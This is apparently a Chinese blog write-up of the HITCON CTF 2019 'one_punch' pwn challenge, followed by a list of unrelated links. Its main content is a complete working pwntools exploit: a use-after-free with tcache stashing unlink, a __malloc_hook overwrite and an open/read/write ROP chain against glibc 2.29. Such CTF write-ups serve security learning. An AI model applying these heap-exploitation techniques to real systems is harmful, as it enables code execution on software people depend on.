• hitcon_ctf_2019_one_punch(libc2.29 tcache tashing unlink)


    程序分析:

    保护全开,然后可以用图中的这些函数,用不了execve
    请添加图片描述
    然后程序大体是一个菜单类型的堆
    值得一提的是选项输入55056后进入后门函数
    请添加图片描述

    要满足初始0x250堆里+0x20处的值大于6
    这里面用的是malloc申请堆,而在外面用的是calloc
    (区别在于malloc会从tcache中取内存,calloc则不会)
    请添加图片描述

    漏洞点:

    存在uaf
    在这里插入图片描述

    解题思路:

    用tcache tashing unlink修改初始0x250堆里+0x20处的值大于6,进入后门函数,在tcache修改fd,分配堆块到malloc_hook,填入gadget(add esp,0x48)
    执行我们输入的压在栈上的orw语句读取flag。

    解题步骤:

    0x01 tcache tashing unlink 绕过后门检测:

    这部分利用方法和新春红包题一样,然后
    写入的值main_arena的值要偏移一下,只剩0x7f>6

    for i in range(7):
        add(0,'a'*0x400)
        free(0)
    add(0,'a'*0x400)
    for i in range(6):
        add(1,'a'*0xf0)
        free(1)
    show(1)
    ru('hero name: ')
    heap_base=uu64(rc(6))-0x26e0
    info('heap_base',heap_base)
    free(0)
    show(0)
    libc_base=uu64(ru('\x7f')[-6:])-96-0x10-libc.sym['__malloc_hook']
    info('libc_base',libc_base)
    #-------------------------------
    add(0,'a'*0x400)
    add(1,'a'*0x400)
    free(0)
    add(0,'a'*0x300)
    add(1,'a'*0x300)#small_bin1
    add(1,'a'*0x400)
    add(2,'a'*0x110)
    free(1)
    add(2,'a'*0x300)
    add(2,'a'*0x300)#small_bin2
    #------------------------------
    payload=flat('a'*0x300,0,0x101,heap_base+0x21d0,heap_base+0x20-5)
    edit(1,payload)
    #debug()
    #----------------------------
    add(1, 'flag'+'\x00'*0x100)
    for i in range(2):
        add(0,'a'*0x217)
        free(0)
    add(2,'a'*0xf0)#tache trash unlink
    

    值得一提的是,我们改的值0x7f对应的是tache_bin中0x220的127,所以要在触发tashing unlink前提前布置好两个0x220的bin链,为我们后续利用铺垫请添加图片描述

    0x02 用后门功能读取flag:

    用tache的uaf修改fd,往malloc_hook处写入add rsp,48;
    这样如果我们add(1,orw)的话,malloc_hook会执行add rsp,48;
    跳转到栈上然后执行我们的orw语句读取flag
    (ps:有些syscall能用,有些syscall不能用,不知为啥)

    def backdoor(content):
        sla('> ',str(50056))
        se(content)
    malloc_hook=libc.sym['__malloc_hook']+libc_base
    edit(0,p64(malloc_hook))
    backdoor(p64(0))
    add_rsp_0x48=0x8cfd6+libc_base
    backdoor(p64(add_rsp_0x48))
    #backdoor()
    #------------------------------------------------------
    pop_rdi=0x26542+libc_base
    pop_rsi=0x26f9e+libc_base
    pop_rdx=0x12bda6+libc_base
    pop_rax=0x47cf8+libc_base
    leave_ret=0x58373+libc_base
    syscall=0x10D0B5+libc_base
    #0x10CF7F,0x10D022,0x10D0B5
    #debug()
    flag_addr=heap_base+0x3840
    write2addr=heap_base+0x3840+0x10
    orw=flat(pop_rax,2,pop_rdi,flag_addr,pop_rsi,0,syscall)
    orw+=flat(pop_rax,0,pop_rdi,3,pop_rsi,write2addr,pop_rdx,0x50,syscall)
    orw+=flat(pop_rax,1,pop_rdi,1,pop_rsi,write2addr,pop_rdx,0x50,syscall)
    #debug()
    add(1, orw)
    

    gdb调试出add rsp,48?

    可以把脚本里的
    r = process(local_file)
    改为r = gdb.debug(local_file)
    这样的话是直接用gdb来启动这个程序,我们把malloc_hook的值改为一个非法地址
    我这里改为0x1
    然后程序执行我们的脚本
    到malloc_hook会坏掉,我们直接看那时候的栈就行请添加图片描述

    完整exp:

    from pwn import * 
    local_file  = './hitcon_ctf_2019_one_punch'
    local_libc  = './libc-2.29.so'
    remote_libc = './libc-2.29.so'
    select = 0
    if select == 0:
        r = process(local_file)
        libc = ELF(local_libc)
    elif select == 1:
        r = remote('node4.buuoj.cn',25904 )
        libc = ELF(remote_libc)
    else:
        r = gdb.debug(local_file)
        libc = ELF(local_libc)
    elf = ELF(local_file)
    context.log_level = 'debug'
    context.arch = elf.arch
    se      = lambda data               :r.send(data) 
    sa      = lambda delim,data         :r.sendafter(delim, data)
    sl      = lambda data               :r.sendline(data)
    sla     = lambda delim,data         :r.sendlineafter(delim, data)
    sea     = lambda delim,data         :r.sendafter(delim, data)
    rc      = lambda numb=4096          :r.recv(numb)
    rl      = lambda                    :r.recvline()
    ru      = lambda delims 			:r.recvuntil(delims)
    uu32    = lambda data               :u32(data.ljust(4, '\0'))
    uu64    = lambda data               :u64(data.ljust(8, '\0'))
    info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
    def debug(cmd=''):
         gdb.attach(r,cmd)
    #------------------------
    def add(idx,name):
        sla('> ','1')
        sla('idx: ',str(idx))
        sla('hero name: ',str(name))
    def edit(idx,name):
        sla('> ','2')
        sla('idx: ',str(idx))
        sla('hero name: ',str(name))
    def show(idx):
        sla('> ','3')
        sla('idx: ',str(idx))
    def free(idx):
        sla('> ','4')
        sla('idx: ',str(idx))
    #---------------------------
    for i in range(7):
        add(0,'a'*0x400)
        free(0)
    add(0,'a'*0x400)
    for i in range(6):
        add(1,'a'*0xf0)
        free(1)
    show(1)
    ru('hero name: ')
    heap_base=uu64(rc(6))-0x26e0
    info('heap_base',heap_base)
    free(0)
    show(0)
    libc_base=uu64(ru('\x7f')[-6:])-96-0x10-libc.sym['__malloc_hook']
    info('libc_base',libc_base)
    #-------------------------------
    add(0,'a'*0x400)
    add(1,'a'*0x400)
    free(0)
    add(0,'a'*0x300)
    add(1,'a'*0x300)#small_bin1
    add(1,'a'*0x400)
    add(2,'a'*0x110)
    free(1)
    add(2,'a'*0x300)
    add(2,'a'*0x300)#small_bin2
    #------------------------------
    payload=flat('a'*0x300,0,0x101,heap_base+0x21d0,heap_base+0x20-5)
    edit(1,payload)
    #debug()
    #----------------------------
    add(1, 'flag'+'\x00'*0x100)
    for i in range(2):
        add(0,'a'*0x217)
        free(0)
    add(2,'a'*0xf0)#tache trash unlink
    def backdoor(content):
        sla('> ',str(50056))
        se(content)
    malloc_hook=libc.sym['__malloc_hook']+libc_base
    edit(0,p64(malloc_hook))
    backdoor(p64(0))
    add_rsp_0x48=0x8cfd6+libc_base
    backdoor(p64(add_rsp_0x48))
    #backdoor()
    #------------------------------------------------------
    pop_rdi=0x26542+libc_base
    pop_rsi=0x26f9e+libc_base
    pop_rdx=0x12bda6+libc_base
    pop_rax=0x47cf8+libc_base
    leave_ret=0x58373+libc_base
    syscall=0x10D0B5+libc_base
    #0x10CF7F,0x10D022,0x10D0B5
    #debug()
    flag_addr=heap_base+0x3840
    write2addr=heap_base+0x3840+0x10
    orw=flat(pop_rax,2,pop_rdi,flag_addr,pop_rsi,0,syscall)
    orw+=flat(pop_rax,0,pop_rdi,3,pop_rsi,write2addr,pop_rdx,0x50,syscall)
    orw+=flat(pop_rax,1,pop_rdi,1,pop_rsi,write2addr,pop_rdx,0x50,syscall)
    #debug()
    add(1, orw)
    r.interactive()
    
  • 相关阅读:
    【开题报告】基于SpringBoot的二手汽车交易平台的设计与实现
    动手学习深度学习 04:多层感知机
    PdfSharp 对中文字体显示乱码的问题
    Python入门教程之py文件与pyc文件的相互转换
    Python和Jupyter简介
    pyqtgraph只使用image view进行热图的可视化展示 (一个脚本)创建一个窗口
    2024北京国际物联网展览会(物联网展)物物相连,万物互联
    uniapp 接口请求封装
    浙大MPA成功上岸笔试备考经验-岁月不负努力的人
    Java的两大、三类代理模式
  • 原文地址:https://blog.csdn.net/m0_51251108/article/details/127121786